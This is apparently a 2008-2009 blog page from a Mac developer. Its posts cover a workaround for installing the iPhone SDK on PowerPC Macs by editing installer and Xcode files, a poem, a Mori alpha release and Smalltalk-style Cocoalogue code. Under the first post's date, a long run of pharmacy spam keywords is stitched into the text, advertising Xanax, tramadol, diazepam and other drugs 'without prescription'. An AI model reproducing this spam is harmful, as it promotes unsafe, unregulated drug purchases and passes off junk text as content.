How to Install the iPhone 2.2.1 SDK on a PowerPC-based Mac

23 03 2009
buy cheap doxycycline online cheapest synthroid prices xanax without prescription cheap prozac tablets cheap tramadol acomplia zithromax pharmacy tramadol without a prescription phentermine pills buy generic accutane where to buy cialis cheap zoloft online doxycycline prices cheap generic phentermine nexium online cheap cheap synthroid tablets acomplia online nexium pills buy cheap propecia buy plavix buy diazepam without prescription accutane online stores accutane cheap cheap generic viagra clomid without prescription cheap plavix buy bactrim without prescription tramadol online phentermine without prescription buy synthroid diazepam online stores discount diazepam nexium online stores bactrim online stores order diazepam purchase lasix online purchase lorazepam bactrim prescription buy cheap tramadol zithromax online cheap acomplia generic phentermine plavix for sale cheap plavix tablets cheap tramadol tablets pharmacy lasix lasix sale pharmacy diazepam buy doxycycline accutane prices buy cheap phentermine lasix prices buy cheap nexium synthroid for sale plavix discount buy doxycycline cheap lowest price alprazolam cheap lorazepam online nexium cheap cheap generic cialis discount propecia pharmacy prozac soma discount soma online buy generic flagyl discount nexium cheapest tramadol prices discount viagra levitra generic buy accutane cheap synthroid pharmacy where to buy phentermine acomplia pills viagra sale bactrim pharmacy buy accutane without prescription lowest price acomplia buy lorazepam cheap buy phentermine without prescription diazepam for sale cheapest clomid valium prices buy prozac online tramadol sale clomid online synthroid cheap cheap alprazolam online order soma online buy zithromax phentermine no prescription where to buy lorazepam accutane online where to buy bactrim propecia cheap cheapest valium prices pharmacy lorazepam bactrim for sale price of soma buy cialis order bactrim online lorazepam without prescription zoloft without prescription lowest price diazepam pharmacy clomid cheap propecia buy levitra cheap purchase soma online purchase prozac order zithromax valium no prescription valium prozac prices nexium generic zoloft cheap cheap generic prozac order doxycycline online diazepam pills levitra accutane no prescription buy lorazepam tramadol prices online doxycycline where to buy synthroid buy alprazolam online alprazolam prescription zoloft buy cheap flagyl online zithromax pills online valium acomplia cheap plavix pills cheap zithromax online levitra online stores lorazepam pills order flagyl online doxycycline prescription cheap lorazepam buy acomplia discount acomplia cheapest prozac prices alprazolam without a prescription online synthroid cheap phentermine tablets alprazolam order clomid online cheapest diazepam prices zoloft for sale viagra pharmacy buy cheap lorazepam online clomid online cheap pharmacy tramadol buy cheap soma purchase clomid online cheap doxycycline purchase prozac online purchase cialis flagyl prescription diazepam prices viagra online stores accutane prozac pharmacy bactrim generic buy zoloft without prescription lowest price flagyl clomid pills buy clomid online cialis pharmacy pharmacy phentermine price of clomid buy acomplia online price of prozac phentermine online tramadol buy lasix online levitra without prescription buy cheap xanax online cheapest propecia prices cheapest acomplia prices buy lorazepam online cheap generic xanax accutane without a prescription synthroid without prescription order plavix flagyl without a prescription buy generic clomid lowest price lorazepam order soma order zoloft online propecia sale synthroid discount pharmacy cialis price of lasix prozac pills tramadol without prescription valium pharmacy purchase zoloft online buy cheap lorazepam accutane for sale lowest price clomid levitra no prescription synthroid sale nexium prices lowest price nexium generic lorazepam purchase synthroid xanax online cheap purchase bactrim cheapest alprazolam synthroid generic cheap xanax cheap generic acomplia buy cheap lasix online accutane pharmacy alprazolam pills cheap valium online lowest price cialis plavix generic buy levitra online tramadol online stores buy cheap nexium online zithromax lorazepam online stores acomplia no prescription lorazepam cheap bactrim no prescription buy plavix online lasix generic purchase clomid buy cheap zoloft online buy generic xanax doxycycline online cheap lorazepam online cheap cialis online cheap zithromax for sale generic lasix cheapest synthroid generic nexium purchase phentermine online prozac generic order prozac online clomid prices where to buy tramadol price of phentermine phentermine prescription lowest price propecia cialis online stores discount plavix cheap diazepam soma generic cheapest viagra prices cheapest bactrim prices buy cheap flagyl lorazepam pharmacy buy diazepam online propecia discount buy valium buy zithromax without prescription buy generic tramadol order levitra valium discount nexium online discount doxycycline bactrim cheap propecia prices plavix prices online nexium clomid generic synthroid buy cheap prozac online lasix online stores buy cheap valium online cheap xanax tablets xanax without a prescription buy soma online cheap phentermine online where to buy prozac where to buy alprazolam buy cheap plavix online order phentermine generic clomid buy tramadol cheap prozac cheap propecia tablets generic xanax purchase zithromax levitra online purchase viagra propecia generic generic synthroid buy cheap alprazolam online where to buy propecia acomplia without prescription cheapest diazepam order lorazepam xanax discount where to buy zithromax cheap diazepam tablets price of cialis cheap generic lasix order flagyl buy clomid without prescription diazepam online cheap order accutane zithromax without prescription doxycycline cheap lasix online cheap cheapest plavix alprazolam online buy cheap clomid online buy generic zithromax levitra for sale buy cheap acomplia doxycycline online stores purchase flagyl online nexium generic plavix pharmacy nexium price of alprazolam purchase nexium online buy generic cialis cheap flagyl tablets buy cheap bactrim online buy alprazolam cheap soma sale buy generic synthroid phentermine sale plavix pharmacy buy viagra online xanax purchase cialis online pharmacy flagyl alprazolam no prescription cheapest bactrim buy cialis online clomid sale flagyl online stores tramadol pills propecia online cheap lowest price tramadol cheap valium tablets price of viagra clomid no prescription synthroid pills order doxycycline nexium sale order cialis price of zithromax buy nexium cheap alprazolam for sale discount valium buy generic acomplia generic tramadol plavix without a prescription online clomid cheapest lorazepam prices lasix without a prescription order levitra online cheap cialis online online soma cialis no prescription buy propecia zoloft discount lowest price lasix cheap prozac phentermine generic cheapest levitra levitra pharmacy clomid pharmacy bactrim prices acomplia online cheap where to buy diazepam cheap generic levitra accutane sale tramadol discount cheapest doxycycline purchase acomplia online accutane online cheap cheap generic tramadol price of bactrim order lorazepam online order xanax online purchase levitra flagyl online valium for sale cialis plavix sale cheap levitra tablets price of zoloft purchase viagra online cheap generic zoloft flagyl discount prozac prescription soma pharmacy propecia order propecia online price of flagyl online levitra price of doxycycline bactrim propecia without a prescription acomplia prescription order synthroid zoloft online cheap flagyl sale buy synthroid cheap buy lasix without prescription zoloft without a prescription alprazolam sale buy tramadol without prescription prozac without a prescription flagyl generic buy propecia online cialis prices purchase lasix cheapest nexium purchase diazepam buy lorazepam without prescription buy cialis cheap lorazepam no prescription where to buy accutane xanax online zithromax discount prozac discount synthroid prescription lowest price bactrim discount zithromax accutane generic buy generic bactrim order valium online buy generic lorazepam cheap generic flagyl where to buy zoloft purchase accutane online discount phentermine plavix cheap zithromax cheap cheap generic lorazepam viagra cheap xanax online purchase bactrim online generic valium propecia online stores flagyl pharmacy lowest price valium buy synthroid without prescription cheap viagra online buy cheap lasix cheap doxycycline tablets levitra cheap online alprazolam diazepam pharmacy cheapest nexium prices purchase acomplia xanax pharmacy propecia pharmacy cheap accutane online valium without prescription cheap alprazolam purchase propecia purchase diazepam online cheapest phentermine prices generic zoloft order tramadol clomid online stores plavix no prescription price of synthroid cheap generic propecia cheapest tramadol order alprazolam online buy alprazolam without prescription buy cheap cialis discount levitra where to buy valium cheap prozac online cheap generic soma lorazepam generic buy flagyl cheap price of propecia lowest price soma order acomplia online lowest price viagra buy doxycycline without prescription cheap zithromax tablets flagyl no prescription diazepam without a prescription cheap levitra online prozac online cheap levitra without a prescription buy generic doxycycline buy prozac cheap phentermine for sale buy bactrim cheap pharmacy zithromax cheapest flagyl where to buy flagyl acomplia online stores buy lasix cheap buy cheap propecia online cheap soma cheapest accutane prices pharmacy alprazolam lasix pharmacy cheap zithromax viagra prescription zithromax without a prescription online accutane cheap lasix online acomplia generic cheap flagyl cheap clomid tablets order lasix online cheapest alprazolam prices buy nexium buy cheap clomid synthroid without a prescription accutane pills buy clomid diazepam sale bactrim sale lorazepam cheap doxycycline online valium pills buy soma cheap buy lasix phentermine online stores buy synthroid online online lorazepam lasix no prescription buy generic propecia xanax for sale cheapest zoloft prices buy phentermine cheap plavix online cheap bactrim cheap viagra tablets viagra without prescription cheap generic diazepam buy zoloft cheap order accutane online cheapest soma prices clomid cheap viagra prices phentermine cheap nexium pharmacy discount synthroid lorazepam prices buy xanax flagyl cheap cheap generic doxycycline buy cheap levitra prozac no prescription buy zithromax cheap discount lasix discount tramadol prozac without prescription discount cialis cheap lasix soma prices online phentermine buy propecia without prescription cheap diazepam online online diazepam plavix online cheap order bactrim where to buy soma cheapest xanax prices buy cheap xanax xanax prices cheap clomid online prozac online lowest price zithromax online bactrim cheapest cialis valium online stores synthroid online stores zoloft prices generic acomplia xanax cheap diazepam discount viagra online purchase tramadol online valium without a prescription order zithromax online doxycycline no prescription tramadol clomid for sale pharmacy soma viagra discount synthroid online cheap purchase propecia online viagra online cheap cheap valium cialis without a prescription discount prozac lasix online levitra online cheap cheap soma online buy levitra without prescription buy flagyl online buy cheap zithromax online acomplia discount where to buy plavix cheapest soma soma online cheap nexium without a prescription purchase alprazolam zoloft online tramadol no prescription cheap phentermine online cialis zoloft online stores phentermine online lasix pills valium sale cheap bactrim online clomid prescription generic viagra levitra pills purchase xanax online buy bactrim pharmacy plavix buy cheap diazepam accutane prescription buy cheap diazepam online buy nexium online cheap lorazepam tablets cheap alprazolam tablets price of valium buy cheap synthroid online discount bactrim lasix without prescription generic alprazolam flagyl without prescription online xanax viagra no prescription generic zithromax levitra prices generic cialis buy cheap phentermine online buy clomid cheap buy xanax cheap cialis online buy generic viagra doxycycline discount order clomid online propecia cheap plavix online purchase valium online cheap zoloft generic propecia lorazepam discount buy cheap soma online buy cheap prozac phentermine prices xanax pills online prozac prozac online stores acomplia pharmacy acomplia prices buy viagra lowest price doxycycline cheap acomplia online cheapest levitra prices buy cheap doxycycline buy cheap tramadol online propecia prescription zithromax generic buy tramadol price of plavix lowest price phentermine prozac sale buy alprazolam cheap generic clomid cheapest accutane discount soma purchase synthroid online buy generic plavix doxycycline generic purchase plavix xanax prescription valium generic bactrim online cheap purchase lorazepam online buy xanax online alprazolam online stores price of acomplia zoloft prescription soma pills generic levitra cheap synthroid discount zoloft alprazolam pharmacy viagra cheap cheap accutane cheap generic bactrim buy phentermine online buy flagyl buy levitra cheapest acomplia buy generic phentermine price of tramadol buy cheap zithromax cheap lasix tablets buy plavix cheap nexium discount tramadol pharmacy purchase accutane phentermine online cheap buy cheap acomplia online cialis cheap lasix for sale cheap flagyl online nexium no prescription cheapest lasix prices pharmacy xanax buy tramadol online alprazolam without prescription buy zithromax online order nexium viagra generic buy generic valium where to buy acomplia acomplia without a prescription buy cheap viagra pharmacy levitra order phentermine online buy flagyl without prescription buy accutane buy cheap alprazolam purchase zithromax online lowest price prozac lowest price accutane doxycycline sale bactrim without a prescription alprazolam online cheap cheap generic zithromax pharmacy bactrim levitra discount cheapest plavix prices buy cheap synthroid purchase doxycycline online buy cialis without prescription generic bactrim buy zoloft online synthroid prices propecia online cheap acomplia tablets buy cheap zoloft doxycycline pharmacy cheapest prozac cheap viagra cheap nexium online price of diazepam cheap generic plavix cialis prescription xanax online stores soma prescription plavix without prescription soma for sale lowest price zoloft cheapest zithromax prices cheapest zithromax buy generic alprazolam lorazepam for sale alprazolam generic cialis for sale cheap tramadol online cheapest cialis prices synthroid online order tramadol online buy viagra without prescription order viagra online zithromax no prescription order plavix online flagyl pills cheap cialis tablets cheap clomid diazepam generic buy generic nexium purchase alprazolam online flagyl propecia pills viagra without a prescription propecia for sale cheap cialis flagyl for sale prozac cheap diazepam without prescription zoloft sale order viagra accutane discount doxycycline for sale valium prescription lorazepam online bactrim discount cheapest valium order zoloft alprazolam cheap zoloft generic buy prozac without prescription purchase phentermine online lasix online flagyl cheapest propecia lorazepam sale order synthroid online valium online cheap purchase doxycycline cialis discount lowest price plavix purchase xanax zithromax prices pharmacy propecia buy prozac doxycycline cheap generic synthroid purchase tramadol pharmacy viagra cheapest xanax soma cheap generic accutane soma no prescription order lasix price of nexium buy valium without prescription buy cheap accutane xanax generic doxycycline without a prescription buy cheap levitra online synthroid no prescription cheapest phentermine valium online buy generic levitra cheapest doxycycline prices prozac for sale plavix online stores purchase levitra online lorazepam without a prescription zithromax online stores lasix prescription buy cheap cialis online buy valium online pharmacy zoloft pharmacy doxycycline price of accutane cheapest clomid prices clomid without a prescription valium cheap acomplia sale bactrim without prescription zoloft pharmacy levitra prescription tramadol cheap buy viagra cheap cheapest zoloft buy soma cheap propecia online flagyl online cheap cheap generic alprazolam cheapest lorazepam buy diazepam purchase soma soma without a prescription buy generic diazepam buy cheap viagra online cheap levitra cheap generic valium purchase zoloft order prozac plavix zoloft no prescription discount xanax pharmacy valium clomid discount cheap accutane tablets accutane without prescription soma without prescription soma cheap propecia no prescription propecia without prescription zithromax prescription pharmacy accutane cheapest viagra buy bactrim online diazepam cheap order acomplia buy generic zoloft order valium cheap soma tablets xanax sale buy generic soma viagra for sale cheap zoloft tablets lorazepam prescription diazepam prescription price of xanax nexium without prescription order diazepam online discount flagyl where to buy lasix pharmacy synthroid cheap nexium tablets buy cheap valium generic prozac buy xanax without prescription zithromax sale cheapest lasix bactrim pills lasix where to buy xanax diazepam online order xanax doxycycline pills purchase nexium phentermine pharmacy cialis pills buy doxycycline online buy soma without prescription lowest price levitra clomid alprazolam discount buy phentermine buy generic lasix buy acomplia without prescription cheap bactrim tablets discount lorazepam zithromax online cheap buy diazepam cheap generic soma order propecia generic diazepam order nexium online tramadol online cheap purchase plavix online lasix discount online viagra alprazolam prices phentermine discount where to buy levitra acomplia for sale soma online stores buy cheap bactrim bactrim online price of levitra generic accutane buy cheap accutane online order cialis online nexium for sale where to buy nexium price of lorazepam buy propecia cheap doxycycline online levitra sale cheap nexium cheapest flagyl prices cialis without prescription buy nexium without prescription discount accutane where to buy viagra zoloft pills where to buy doxycycline tramadol for sale buy zoloft tramadol generic cialis sale where to buy clomid online zoloft cheap synthroid online buy accutane online nexium prescription purchase flagyl flagyl prices buy generic prozac discount alprazolam diazepam no prescription buy cheap plavix viagra pills phentermine without a prescription buy valium cheap generic flagyl cialis generic online zithromax cheap generic nexium doxycycline without prescription lasix cheap online plavix buy plavix without prescription generic doxycycline plavix prescription buy acomplia cheap diazepam xanax no prescription discount clomid purchase valium online acomplia lowest price xanax tramadol prescription pharmacy acomplia lowest price synthroid order alprazolam

Update: I forgot to mention that I got help from the great folks at NSCoder Nights in San Francisco when mucking about the installer and Xcode files. Particularly helpful were Bruce Spath and Dan Grover. Thanks again, guys!

Here’s how you can install the iPhone SDK for 2.2.1 on a Mac running at least MOX 10.5.5:

1. Ensure you have at least 6 gigs of disk space available. If you have tried to install the iPhone SDK on the target volume before, it may state an upgrade will be performed instead of an install. Sadly, the only solution I currently have for this situation is to uninstall Xcode using /Library/Developer/3.1/uninstall-devtools.
2. Download the SDK disk image.
3. Mount the image by double-clicking it.
4. Copy the mounted volume to a hard drive.
5. Navigate to iPhone SDK.mpkg/Contents/iPhoneSDK.dist in the copied folder and replace line 340 which should be
start_selected = "isIntel() && hasRightOS() && agreedToSLA()"

with
start_selected = "true"

6. Run the installer, selecting either the default location /Developer or another directory name if you’re looking to preserve your current Xcode installation.
7. After a successful installation, navigate from the installation directory (default of /Developer) to /Platforms/iPhoneSimulator.platform/Developer/Library/Xcode/Specifications/iPhone Simulator Architectures.xcspec, and make the following two changes.

First, replace

{ Type = Architecture;
Identifier = Standard;
Name = "Standard (iPhone Simulator: i386)";
Description = "32-bit iPhone Simulator architectures";
ListInEnum = YES;
SortNumber = 1;
RealArchitectures = ( i386 );
ArchitectureSetting = "ARCHS_STANDARD_32_BIT";
},

with

{
Type = Architecture;
Identifier = Standard;
Name = "Standard (iPhone Simulator: i386)";
Description = "32-bit iPhone Simulator architectures";
ListInEnum = YES;
SortNumber = 1;
RealArchitectures = (
i386,
);
ArchitectureSetting = "ARCHS_OLD_STANDARD_32_BIT";
},
{
Type = Architecture;
Identifier = Standard;
Name = "Standard (iPhone Simulator: ppc)";
Description = "32-bit iPhone Simulator architectures";
ListInEnum = YES;
SortNumber = 1;
RealArchitectures = (
ppc,
);
ArchitectureSetting = "ARCHS_STANDARD_32_BIT";
},

then, replace

{ Type = Architecture;
Identifier = i386;
Name = "Intel";
Description = "32-bit Intel";
PerArchBuildSettingName = "Intel";
ByteOrder = little;
ListInEnum = NO;
SortNumber = 105;
},

with

{
Type = Architecture;
Identifier = i386;
Name = Intel;
Description = "32-bit Intel";
"PerArchBuildSettingName" = Intel;
ByteOrder = little;
ListInEnum = NO;
SortNumber = 105;
},
{
Type = Architecture;
Identifier = ppc;
Name = "Minimal (32-bit PowerPC only)";
Description = "32-bit PowerPC ";
"PerArchBuildSettingName" = PowerPC;
ByteOrder = big;
ListInEnum = No;
SortNumber = 201;
},
{
Type = Architecture;
Identifier = ppc7400;
Name = "PowerPC G4";
Description = "32-bit PowerPC for G4 processor";
ByteOrder = big;
ListInEnum = NO;
SortNumber = 202;
},
{
Type = Architecture;
Identifier = ppc970;
Name = "PowerPC G5 32-bit";
Description = "32-bit PowerPC for G5 processor";
ByteOrder = big;
ListInEnum = NO;
SortNumber = 203;
},

Now go ahead and start Xcode and when you select the “File > New Project…” menu item, you should see a darling iPhone category for projects. Also, run the iPhone simulator in /(Xcode install path)/Platforms/iPhoneSimulator.platform/Developer/Applications/iPhone\\ Simulator.app, it’s really mind-blowing to run it on your desktop, especially one Apple tells you isn’t able to run their iPhone SDK.

By the way, if you don’t feel like going through these steps yourself I’ve put together iPhoneSDKonqueror, an app which will handle these steps for you in a mostly automated manner. You should buy it. It’s only USD$5 and if you appreciate the ability to use your PowerPC Mac to write apps for the iPhone, it’s the right gesture to make to me.



I Went For a Drive On El Camino Real To Clear My Head

12 01 2009

I drove with the top down, to clear my head.
The night was cool and quiet. And though it looked and sounded
much like South Florida when I drive like this, on nights like this;
To clear my head, there was no oppressing tension as there usually is in South Florida.

Like there is when I have to work several times harder to clear my head.
For the hot light to turn off, to clear my head.
And the cool light to turn on, and space is tranquil.
Because in South Florida the hot light stays on when you try to clear your head,
and the extra work keeps you from being able to fully clear your head.
And you can’t work there as well as you can here, once you’ve cleared your head.

So now, on to get a new Oneill build out.

I know I didn’t make it easy to figure out what I’m talking about. I just couldn’t make it obvious enough that you could Google for the answer, and still have decent mood. But don’t forgot, friends, Big Daddy does love you.



An Apology to Mori Customers - A New Mori Test Version Has Been Released

31 12 2008

Back on August 27 of this year I stated the release of Mori 1.7 was imminent due to the acquisition of an encryption utility which would provide the core of the reworked 1.7 feature list. That has now been four months. So once again I failed to deliver on the expectations I’ve set before you, and for that I apologize. I’ve just uploaded a new alpha test release (code-named Oneill) for your inspection, but before I list the specific features it contains I’ll explain why it’s taken so long, and why it’s only an alpha.

After I announced the changed development plan, one forum member wrote,

Most of the announced features [ie, "LinkBack, customized labels, font settings for source & entry views, better keyboard navigation, outlining improvements, self-downloading updates, and now encryption"] have either been tried to some degree in the failed versions, or are of marginal usefulness.

In my response I outlined the terrible decision I made to replace Mori’s view system with a more advanced, revamped one and how it was important to get new features (including encryption) into users’ hands now. I also disagreed with his characterization of the new feature set as trivial and tried before. However, I also offered to let you, Mori’s users, decide whether to include encryption in Mori and whether I should delay Mori 1.7 to get the new view system working or continue with the new course I had set to produce a new version quickly.

Although only 11 votes were cast on whether to delay, it was overwhelmingly pro-delay (even with my 1-star vote). So I decided to compromise and add some of the new view system and the originally promised features to Mori now, and continue making piecemeal changes afterwards.

Of course I should’ve mentioned my decision to you before, and for not explaining it to you I’m sorry. Once I made the decision, however, I just withdrew and set about getting the job done. (Although I hadn’t entirely withdrawn. As some have noted on the forum, I am far more communicative on Twitter as it limits content to 140 characters, which is very lightweight as a conversing medium. Unfortunately, I’m only aware of one Mori user who’s on Twitter and has made his presence known. Hi, Dale!)

So now that I’ve put out a new Oneill release, what does it actually contain? To quote from the release notes:

  • Multi-line rows is in operation. There is a speed issue (not having it), and a horrible display bug when adding characters to a multi-line row, but the text displays correctly once edits are done.
  • Users can now set different font styles for source and entry lists. Currently this setting affects all docs being displayed.
  • Notes can be zoomed in and out either via a pop-up menu on the footer, or through the new “View > Zoom” menu (and corresponding shortcut keys).
  • Users with MacBook Airs, and late 2008 model MacBooks and MacBook Pros can use gestures to zoom in and out as well.
  • Users with a 3Dconnexion SpaceNavigator can use it zoom in and out as well.
  • Various internal changes.

That’s right, you can adjust the font sizes for the source & entry lists, and zoom into your notes to make it easier for you to work with your info.

Multi-line entries for those extra-long topics or more complex outlines, as a start for the type of formatting you’ll be able to have in your Mori notebooks.

Support for gesturing and alternate input devices, starting with the multitouch trackpads on all the current Mac laptops and the 3Dconnexion Space Navigator.

So that’s where Mori’s development is now. I have more changes coming shortly, but I have a long drive ahead of me: Silicon Valley and Macworld 2009.



Smalltalk and Cocoa Programming in Cocoalogue: How it Blends

25 09 2008

As I mentioned in my last post, I’ve made a pre-release of Cocoalogue available for the PMC bundle. Only one person took advantage of the offer, which was so surprising to me I had sent him a license for Clockwork because I didn’t realize what he actually purchased! So not only is he Cocoalogue user #1 for all time, he’s also the happy owner of a Clockwork license! (See what you all missed out on?)

A Simple Cocoalogue Overview

Cocoalogue is an interpreted computer programming system, oftentimes called a scripting system or dynamic language these days. While the system shares a great deal in common with the Smalltalk-80 system on which it was based, Cocoalogue’s current executable model is more like the one used for Perl, Python, Ruby, AppleTalk, any of the shell programs which have scripting support, etc. It also includes a Cocoa bridge to allow use of the Objective-C/Cocoa frameworks on Mac OS X, and extensions to the Smalltalk syntax to allow static typing, namespaces, and more.

There are four main components to Cocoalogue as it now exists: the language compiler, the virtual machine, and the run-time system. They are designed to function fairly independently, so modification of any component doesn’t adversely affect the others. They can also be replaced independently, so a language compiler for Ruby could be substituted, for example; or the run-time system can be replaced with one written for Apple’s Open Scripting Architecture. Also, they are generally written in C using POSIX libraries for portability, although some functionality was implemented in Objective-C/Cocoa for expediency’s sake.

What is this Smalltalk of Which You Speak?

Since I’m pimping Smalltalk so often, I should explain a little bit about it so you understand some basic Cocoalogue concepts. Smalltalk is a programming environment developed at Xerox’ Palo Alto Research Center (PARC), incorporating programming language, tools and user interface, that was originally designed for educational purposes in the hope that the researchers developing it would discover how to make computers easier to use. Windowing Graphical User Interfaces (GUI) such as used by all implementations of the Mac OS and Windows, and Integrated Development Environments (IDE) used by Xcode and Visual Studio are based on inventions arising out of the Smalltalk initiative.

Wikipedia has a more detailed explanation of the history and implementation of Smalltalk than I have space for here. But I’ll briefly cover its syntax to explain what Cocoalogue has. Resources, or objects, used by programs are represented as variables in the Smalltalk language, and are sent messages that represent the actions the programmer wishes the objects to perform.

rectanglesContainingX: xCoordinate andY: yCoordinate
| rectangles aPoint|
rectangles := OrderedCollection
     with: (Rectangle left: 0 right: 10 top: 100 bottom: 200)
     with: (Rectangle left: 10 right: 10 top: 110 bottom: 210).
aPoint := Point x: xCoordinate y: yCoordinate.
^ rectangles select: [:aRect | aRect containsPoint: aPoint].

The example is for demonstrating Smalltalk syntax, not coding quality; so don’t use it as a template for your own work. ;) It defines a method named #rectanglesContainingX:andY: that returns an OrderedCollection, or list, of rectangles which contain a specific point given as an x-y coordinate, and represented in the example by xCoordinate and yCoordinate, respectively. The method defines two temporary variables, rectangles and aPoint, which are used to hold values computed for use while the method executes. The method creates an OrderedCollection object with two rectangles for elements (technically, it sends the message #left:right:top:bottom: to the Rectangle class two different times which has the responsibility to create the two rectangles, and those rectangles are then sent to the OrderedCollection class as part of the #with:with: message) and assigns the result to the rectangles temporary variable. It then creates a point for the given x-y coordinate (again technically, it sends #x:y: to the Point class along with the x-y coordinate). The last statement sends #select: to the OrderedCollection object represented by the rectangles variable, which has the responsibility of going through each rectangle element in the collection and finding every one which meets some criteria, passing the criteria test in an executable sequence of code as an object called a block. The collection’s #select: method returns a new collection which contains all the elements matching the test “contains aPoint“. The #rectanglesContainingX:andY: method then returns that result to whatever object called it.

Cocoalogue Isn’t Smalltalk

As much as I love Smalltalk, and have made having a professional-grade programming environment based on Smalltalk my goal, strict adherence to Smalltalk isn’t my objective for Cocoalogue. My objective is to create a development and work environment based on the interactive model I enjoyed using systems such as Squeak, BASIC, and Instant-C; which incorporate modern code development and management tools such as SCM; and use of legible programming languages such as Smalltalk. I’ll spell out the major deviations from Smalltalk systems as I outline the components below.

The Cocoalogue Run-Time System

The run-time system is itself composed of four parts: the memory management system, which uses an indirect pointer similar to relocatable blocks on the classic/Carbon Mac API combined with reference counting; the data types system, which permits the definition of types and their operators; the class library, which provides the pre-defined types and classes used to write programs; and the Cocoa bridge (it’s odd that there are Wikipedia entries for PyObjC, CamelBones, RubyCocoa, but none for Cocoa bridge) which allows interaction with objects created or used by Mac OS X’s Cocoa frameworks. Soon, the Cocoa bridge will also allow the declaration and invocation of normal C functions, but the syntax to do this hasn’t been finalized yet.

Cocoalogue’s Run-time Differences with Smalltalk

The largest distinguishable differences the current implementation of Cocoalogue has with Smalltalk are

  • lack of a persistent image;

    Although it would be relatively trivial to provide an image-based environment typical to Smalltalk implementations, I’ve forgone support in Cocoalogue’s current implementation to speed up development of other features. In addition, as the supported classes and functionality undergoes enhancement it’ll be best not to keep an image around which will undergo repeated changes to its fundamental objects.

  • fine-grained control over the execution environment;

    To support the ability to define types of arbitrary width (such as Smalltalk’s LargeInteger and Fraction) a type must be able to specify how, and whether, exceptional conditions should be handled by the run-time system. For the LargeInteger class, calculations which result in either over- or under-flow conditions should cause the class to widen the resulting object to fully contain the result whereas for types having an Int32 specification should discard the excess result bits, yet still permit the method or object which invoked the operation to know or respond to the exception itself.

  • Cocoa classes instead of Smalltalk’s;

    Smalltalk-compatible classes aren’t developed yet, so programming still requires familiarity with the Cocoa frameworks. Literals are instantiated from the corresponding Cocoa classes (NSNumber, NSString, etc.).

  • DataType vs Object as fundamental type primitive;

    To support primitive types for languages such as C, all types are derived from DataType in Cocoalogue’s language by specifying their widths in Bits, a concrete subclass of DataType. Operators are declared and invoked via the standard Smalltalk syntax so the functionality is inherited by Objects.

    DataStructure is an abstract type derived from DataType and which defines aggregate structures whose members’ alignment and packing can be specified by the programmer, or the environment by default.

    DataShared is an abstract type derived from DataStructure which defines structures whose members share the same offset from one end of the structure so their members “overlap” in storage.

    Object is a concrete type derived from DataStructure which acts as the base type for all data types of the standard OOP model, and can contain either objects or DataTypes.

  • Classes don’t need a Metaclasses support object;

    Rather than maintain Smalltalk’s legacy of Class/Metaclass structure for inheritance, class methods, class variables, etc., I’ve shifted the classical class-based model into the DataType/DataStructure/Object/Class framework. This will allow the addition of other execution architectures into the run-time system.

Cocoalogue’s Virtual Machine

The virtual machine is a hybrid of abstract syntax tree and bytecode techniques to keep semantic info sufficiently close to executable code for debugging purposes and to give me enough leeway to optimize along any of several directions. They’re stored in sequences as literals along with standard data type literals, and are nestable and suitable for parameter passing to allow the declaration of the expected Smalltalk blocks (closures) as well as other sophisticated techniques for specifying code order and execution.

Cocoalogue’s Compiler

The compiler handles an extended version of the Smalltalk grammar that allows the specification of explicit types, bit widths, and byte-ordering for data. I sought to maintain strict conformity with Smalltalk syntax as much as possible, except perhaps for a place or two where I thought the syntax was inelegant. The additions to the syntax I made are generally in keeping with the beauty I found in the syntax, although admittedly with my own biases.

Cocoalogue’s Compiler Syntax Differences with Smalltalk’s
One of the basic questions for an explicit-typing extension to Smalltalk is, what does it look like? For Cocoalogue, one of the ways types can be specified is like this:

variableDeclaration = variableName ‘::’ className { inflection }.

wherever a variable is declared for use as a parameter, temporary, instance var, etc. inflection can be a type modifier such as ’signed’ or ‘unsigned’, an array specifier [delimited by '(' and ')'], or a pointer specifier (’^').

Smalltalk methods always pass a result back as an object, even when a result isn’t specified through the return (’^') expression when the result is the object currently executing the method in question. Thus Smalltalk methods have no syntax to specify the result. So Cocoalogue also has an extension to allow the type of the result to be specified. The default type for the result is Object. Otherwise, the result’s type is specified by appending “::^ className { inflection }” to the method’s message pattern. The Smalltalk example code given above might now look like the following in Cocoalogue:

rectanglesContainingX: xCoordinate::CGFloat andY: yCoordinate::CGFloat ::^ NSArray^
|  rectangles :: NSArray^.
   aPoint :: NSPoint.
   each :: NSRect.
   enumerator :: NSEnumerator^.
   selectedRectangles :: NSMutableArray^. |
rectangles := #( (NSRect x: 0 y: 100 w: (10 - 0) h: (200 - 100))
                        (NSRect x: 10 y: 110 w: (10 - 10) h: (210 - 110) ).
aPoint := NSPoint x: xCoordinate y: yCoordinate.
enumerator := rectangles objectEnumerator.
selectedRectangles := NSMutableArray alloc init.
[(each := enumerator nextObject) != nil]
     whileTrue:
          [[eachRectangle containsPoint: aPoint]
               ifTrue:
                   [selectedRectangles := addObject: eachRectangle]]].
^selectedRectangles

In accordance with the Cocoa frameworks, view coordinates are expressed from a normal Cartesian (bottom-left) orientation. As you can tell, the bulk of the code is to make up for the lack of support in Objective-C for closures which results in it being unsupported in Cocoa. When Smalltalk-like collection classes are added to Cocoalogue, the bulk of this example will be significantly reduced.

That’s a little overview of Cocoalogue as I promised in my last post. Once Mori 1.7 is released I’ll be able to continue completing basic Cocoalogue functionality. The main purpose of releasing it in scripting model form is to get it released and into use quickly. “Enhancements” (read greater Smalltalk class support) and surely bugfixes will follow.



bitShifter Joins Apokalypse, Revamped/Pro Mori 1.7 Release Imminent, Cocoalogue: Our Smalltalk-based Scripting System, and a Cancer-Fighting Bundle

27 08 2008

As you can see, another bevy of announcements all bunched up in one. Did you feel like it was time to unwind? Nope. Me neither!

First off, an announcement that I put off while other things had to be wrapped up: Apokalypse Software Corp. has acquired the rights and the code to bitShifter, the file encryption utility initially developed and marketed by MemSculpt and then ForgEdit. As with prior acquisitions, the current licensees’ purchases will be honored, updates will be made, etc. I’m still trying to understand what some of these licenses were (perpetual what, now?), but they won’t be problematic as the key is in gaining more licensees rather than bleeding the current userbase dry with the nickel-and-dime tactics I despise so much.

However, the name and logo will need to be changed, as the original developer cannot relinquish them…or something. (bitShifter is vague and ambiguous or too techie sounding, anyway.) It is being revamped, and will be re-launched shortly as an Apokalypse product. The price will likely remain $99 USD if I can figure out what type of license that bought. (Perpetual what, again?)

Now that Apokalypse has encryption technology, I’m putting Mori 1.7 out with encryption ASAP. Unfortunately, this means some of the really cool features I originally planned to incorporate in the release will be delayed until 1.8, including enumerated entries, and continuous text. What’s still in? LinkBack, customized labels, font settings for source & entry views, better keyboard navigation, outlining improvements, self-downloading updates, and now encryption.

